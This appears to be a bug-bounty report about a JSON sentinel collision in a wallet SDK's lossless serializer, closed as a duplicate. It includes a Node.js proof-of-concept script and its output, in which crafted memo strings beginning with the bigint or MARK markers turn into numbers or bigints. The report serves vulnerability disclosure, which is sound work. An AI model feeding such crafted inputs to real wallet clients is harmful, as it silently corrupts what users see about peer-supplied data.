SDK JSON marker collisions corrupt lossless serialization in both directions
Report
Summary
The SDK lossless JSON helpers exist so wallet and job clients can round-trip uint64 amounts without turning them into IEEE floats. stringifyWithBigInts at sdk/src/json.ts:146-150 writes a bigint as the in-band token bigint plus digits and then unquotes that token into a JSON number, and parseLossless at :121-130 first tags known uint64 keys with the MARK prefix defined at :41 and then revives any string that starts with MARK as a bigint. A peer-supplied memo or filename that begins with either sentinel therefore changes type on the way through the client: a user string __bigint__123456789012345678 leaves the wire as an unquoted number, and a string that starts with NUL xe-u64: plus 99 comes back as bigint 99. The node still sees ordinary JSON if it never runs this codec; the corruption is in the SDK parse and serialize path that wallets and jobs actually call. GitHub #45 is statechain gossip admission and xe-block.js is the web-wallet regex; desk XE-0115 named the stringify bigint collision, and this is the matching parse-side MARK revival in the same json.ts file.
Affected components
sdk/src/json.ts:41 MARK sentinel; sdk/src/json.ts:121-130 parseLossless (startsWith MARK revival); sdk/src/json.ts:146-150 stringifyWithBigInts (bigint unquote) at sdk 0dbc92ecff709bee79768e4e37788c682a0f4525.
Impact
A wallet or job client that displays a peer-supplied memo can show a number where the user typed a string, and a serialize of that sentinel produces JSON the parser cannot round-trip as a string. On-chain bytes are unchanged if the node rejects the wire; the SDK user cannot tell the original string from the revived bigint. Any attacker-influenced memo, chat text, or provider filename that collides with the sentinel is enough. Silent client-side type corruption; no chain-state change.
PoC
#!/usr/bin/env node
/** A1 — stringifyWithBigInts / parseLossless marker collisions with user memo content. */
import { parseLossless, stringifyWithBigInts } from './sdk.mjs'
const PIN = '0dbc92ecff709bee79768e4e37788c682a0f4525'
const MARK = '\u0000xe-u64:'
const SENTINEL = '__bigint__123456789012345678'
console.log(`PROVENANCE: sdk=${PIN} file=poc/round3/a1_json_marker.mjs`)
const controlMemo = 'hello world, invoice 42'
const controlBlock = { type: 'send', memo: controlMemo, amount: 1n, timestamp: 1700000000000000000n }
const controlWire = stringifyWithBigInts(controlBlock)
const controlParsed = parseLossless(controlWire)
console.log(`CONTROL stringify=${controlWire}`)
console.log(`CONTROL parse.memo=${JSON.stringify(controlParsed.memo)} amount_type=${typeof controlParsed.amount}`)
const controlOk = controlParsed.memo === controlMemo && typeof controlParsed.amount === 'bigint'
const attackBlock = { type: 'send', memo: SENTINEL, amount: 7n }
const attackWire = stringifyWithBigInts(attackBlock)
console.log(`ATTACK stringify memo=${JSON.stringify(SENTINEL)} wire=${attackWire}`)
let attackParsed
let parseErr = ''
try {
attackParsed = parseLossless(attackWire)
} catch (e) {
parseErr = String(e)
}
const memoBecameNumber = attackParsed != null && typeof attackParsed.memo !== 'string'
const wireUnquoted = /"memo"\s*:\s*123456789012345678/.test(attackWire) || /"memo":123456789012345678/.test(attackWire)
const memoRepr = attackParsed == null ? 'ERR' : String(attackParsed.memo)
console.log(`ATTACK parse.memo=${memoRepr} type=${attackParsed ? typeof attackParsed.memo : parseErr}`)
console.log(`ATTACK wire_unquoted_memo=${wireUnquoted}`)
const markMemo = MARK + '99'
const markJson = JSON.stringify({ memo: markMemo, note: 'x' })
let markParsed
let markErr = ''
try {
markParsed = parseLossless(markJson)
} catch (e) {
markErr = String(e)
}
const markCorrupted = markParsed != null && typeof markParsed.memo === 'bigint' && markParsed.memo === 99n
console.log(`PARSE-MARK input=${JSON.stringify(markMemo)} parsed_type=${markParsed ? typeof markParsed.memo : markErr} value=${markParsed ? String(markParsed.memo) : ''}`)
if (controlOk && (wireUnquoted || memoBecameNumber)) {
console.log('PASS: serialize sentinel in memo is unquoted to a JSON number; CONTROL memo round-trips')
console.log(`VERDICT=CONFIRMED mark_parse_corrupted=${markCorrupted}`)
process.exit(0)
}
console.log(`KILL: controlOk=${controlOk} wireUnquoted=${wireUnquoted} memoBecameNumber=${memoBecameNumber}`)
console.log('VERDICT=KILLED')
process.exit(0)
ATTACK stringify memo="__bigint__123456789012345678" wire={"type":"send","memo":123456789012345678,"amount":7}
PARSE-MARK input="\u0000xe-u64:99" parsed_type=bigint value=99
PASS: serialize sentinel in memo is unquoted to a JSON number; CONTROL memo round-trips
Suggested fix
Leave user strings that start with MARK or bigint as ordinary JSON strings instead of treating them as typed values. Put real bigint tags out of band so memo and filename text cannot collide with them.
Thread
Thanks. This is the same finding as https://bounty.xe.network/XE-0008, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-0930 and says what differs; it is read like any other.